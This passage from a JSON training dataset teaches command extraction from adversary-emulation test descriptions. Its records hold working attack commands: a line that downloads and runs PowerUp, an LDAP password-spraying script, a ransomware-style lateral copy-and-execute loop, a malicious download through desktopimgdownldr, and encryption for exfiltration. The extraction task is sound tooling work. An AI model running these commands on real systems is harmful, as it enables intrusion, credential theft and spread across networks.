  {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The AutoSUID application helps automate SUID file discovery and privilege escalation. You can start by executing these commands: chmod +x #{autosuid}\nbash #{autosuid}\n",
    "output": "{\"command_list\": [\"chmod +x #{autosuid}\\nbash #{autosuid}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following procedure encrypts data for secure exfiltration, using the command: mkdir -p #{test_folder}\ncd #{test_folder}; touch a b c d e f g\nzip --password \"#{encryption_password}\" #{test_folder}/#{test_file} ./*\necho \"#{encryption_password}\" | gpg --batch --yes --passphrase-fd 0 --output #{test_folder}/#{test_file}.zip.gpg -c #{test_folder}/#{test_file}.zip\nls -l #{test_folder}",
    "output": "{\"command_list\": [\"mkdir -p #{test_folder}\\ncd #{test_folder}; touch a b c d e f g\\nzip --password \\\"#{encryption_password}\\\" #{test_folder}/#{test_file} ./*\\necho \\\"#{encryption_password}\\\" | gpg --batch --yes --passphrase-fd 0 --output #{test_folder}/#{test_file}.zip.gpg -c #{test_folder}/#{test_file}.zip\\nls -l #{test_folder}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test demonstrates how desktopimgdownldr.exe can be misused to download a malicious file rather than a legitimate lockscreen image, with the actual network connection being handled by a svchost process. To execute this, use the following command: set \"#{download_path}\" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr",
    "output": "{\"command_list\": [\"set \\\"#{download_path}\\\" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Network share discovery is performed via the dir command, with the following example commands that may require IP modification: dir \\\\#{computer_ip}\\c$\ndir \\\\#{computer_ip}\\admin$\ndir \\\\#{computer_ip}\\IPC$\n",
    "output": "{\"command_list\": [\"dir \\\\\\\\#{computer_ip}\\\\c$\\ndir \\\\\\\\#{computer_ip}\\\\admin$\\ndir \\\\\\\\#{computer_ip}\\\\IPC$\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For brute forcing Active Directory accounts through password spraying, execute this PowerShell command that tests a single password against all domain users via LDAP (NTLM or Kerberos only):\nif (\"#{auth}\".ToLower() -NotIn @(\"ntlm\",\"kerberos\")) {\n  Write-Host \"Only \\'NTLM\\' and \\'Kerberos\\' auth methods are supported\"\n  exit 1\n}\n\n$DomainUsers = Get-ADUser -LDAPFilter \\'(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))\\' -Server #{domain} | Select-Object -ExpandProperty SamAccountName\n\n[System.Reflection.Assembly]::LoadWithPartialName(\"System.DirectoryServices.Protocols\") | Out-Null\n$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier(\"#{domain}\",389)\n\n$DomainUsers | Foreach-Object {\n  $user = $_\n  $password = \\'#{password}\\'\n\n  $credz = new-object System.Net.NetworkCredential($user, $password, \"#{domain}\")\n  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})\n  try {\n    Write-Host \" [-] Attempting ${password} on account ${user}.\"\n    $conn.bind()\n    # if credentials aren\\'t correct, it will break just above and goes into catch block, so if we\\'re here we can display success\n    Write-Host \" [!] ${user}:${password} are valid credentials!\"\n  } catch {\n    Write-Host $_.Exception.Message\n  }\n}\nWrite-Host \"End of password spraying\"\n",
    "output": "{\"command_list\": [\"if (\\\"#{auth}\\\".ToLower() -NotIn @(\\\"ntlm\\\",\\\"kerberos\\\")) {\\n  Write-Host \\\"Only 'NTLM' and 'Kerberos' auth methods are supported\\\"\\n  exit 1\\n}\\n\\n$DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName\\n\\n[System.Reflection.Assembly]::LoadWithPartialName(\\\"System.DirectoryServices.Protocols\\\") | Out-Null\\n$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier(\\\"#{domain}\\\",389)\\n\\n$DomainUsers | Foreach-Object {\\n  $user = $_\\n  $password = '#{password}'\\n\\n  $credz = new-object System.Net.NetworkCredential($user, $password, \\\"#{domain}\\\")\\n  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})\\n  try {\\n    Write-Host \\\" [-] Attempting ${password} on account ${user}.\\\"\\n    $conn.bind()\\n    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success\\n    Write-Host \\\" [!] ${user}:${password} are valid credentials!\\\"\\n  } catch {\\n    Write-Host $_.Exception.Message\\n  }\\n}\\nWrite-Host \\\"End of password spraying\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The CHM file can be executed via the ITS protocol handler with this command: Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}",
    "output": "{\"command_list\": [\"Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test simulates MAZE ransomware's propagation by scanning a list of computers, checking their connectivity, and copying a binary to each accessible machine's Windows\\Temp directory. The script will generate lists of online and offline hosts, which can be executed using the following command:\n$machine_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105MachineList.txt\"\n$offline_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105OfflineHosts.txt\"\n$completed_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105CompletedHosts.txt\"\nforeach ($machine in get-content -path \"$machine_list\")\n{if (test-connection -Count 1 -computername $machine -quiet) \n{cmd /c copy \"#{binary_file}\" \"\\\\$machine\\#{remote_drive_letter}$#{exe_remote_folder}\"\necho $machine >> \"$completed_list\"\nwmic /node: \"$machine\" process call create \"regsvr32.exe /i #{remote_drive_letter}:#{exe_remote_folder}\"}\nelse\n{echo $machine >> \"$offline_list\"}}\n",
    "output": "{\"command_list\": [\"$machine_list = \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\T1105MachineList.txt\\\"\\n$offline_list = \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\T1105OfflineHosts.txt\\\"\\n$completed_list = \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\T1105CompletedHosts.txt\\\"\\nforeach ($machine in get-content -path \\\"$machine_list\\\")\\n{if (test-connection -Count 1 -computername $machine -quiet) \\n{cmd /c copy \\\"#{binary_file}\\\" \\\"\\\\\\\\$machine\\\\#{remote_drive_letter}$#{exe_remote_folder}\\\"\\necho $machine >> \\\"$completed_list\\\"\\nwmic /node: \\\"$machine\\\" process call create \\\"regsvr32.exe /i #{remote_drive_letter}:#{exe_remote_folder}\\\"}\\nelse\\n{echo $machine >> \\\"$offline_list\\\"}}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      